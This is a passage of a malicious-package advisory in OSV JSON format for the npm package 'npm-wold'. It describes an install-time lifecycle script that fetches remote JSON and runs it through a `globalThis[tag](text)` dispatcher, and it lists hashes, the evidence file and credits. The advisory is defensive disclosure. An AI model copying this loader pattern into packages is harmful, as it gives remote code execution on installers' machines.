The same file also contains `globalThis[tag](text)` with `tag`/`text` unresolved in the file, consistent with a staged/injected loader. The package advertises itself as an object-flatten utility, and there is no library reason for a lifecycle script to fetch remote JSON and route it through a dynamic global dispatcher. The remote server chooses both the function name and its argument, giving it code execution on the installer at install time.\n","modified":"2026-08-19T05:00:16.554418582Z","published":"2026-08-19T04:19:28Z","database_specific":{"malicious-packages-origins":[{"import_time":"2026-08-19T04:47:46.954754881Z","modified_time":"2026-08-19T04:19:28Z","sha256":"731c22e563f2ea15800d87f345de9b8363c0c715e9f39606201d47a8fb422ab1","source":"amazon-inspector","versions":["1.1.1"],"id":"IN-MAL-2026-018359"},{"import_time":"2026-08-19T04:47:47.018360712Z","modified_time":"2026-08-19T04:19:36Z","sha256":"93f3208f7de7ea0e9a981af668cf1d4897f75ebd7672ba90466e2b68bc7c6d65","source":"amazon-inspector","versions":["1.1.2"],"id":"IN-MAL-2026-018360"}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/npm-wold/v/1.1.1"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/npm-wold/v/1.1.2"}],"affected":[{"package":{"name":"npm-wold","ecosystem":"npm","purl":"pkg:npm/npm-wold"},"versions":["1.1.1","1.1.2"],"database_specific":{"indicators":{"evidence_files":[{"path":"dist/config.js","sha256":"8d5139c63992b734de689e2498a304172e90b9f44acdf39ca83a4acb5d46ace7","tlsh":"4bd09577c28d5024641070ddd00506207583d562c73dc417f91dddd1dce5964da01134"}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/npm-wold/MAL-2026-14252.json","cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code","cweId":"CWE-506"}]}}],"schema_version":"1.9.0","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}
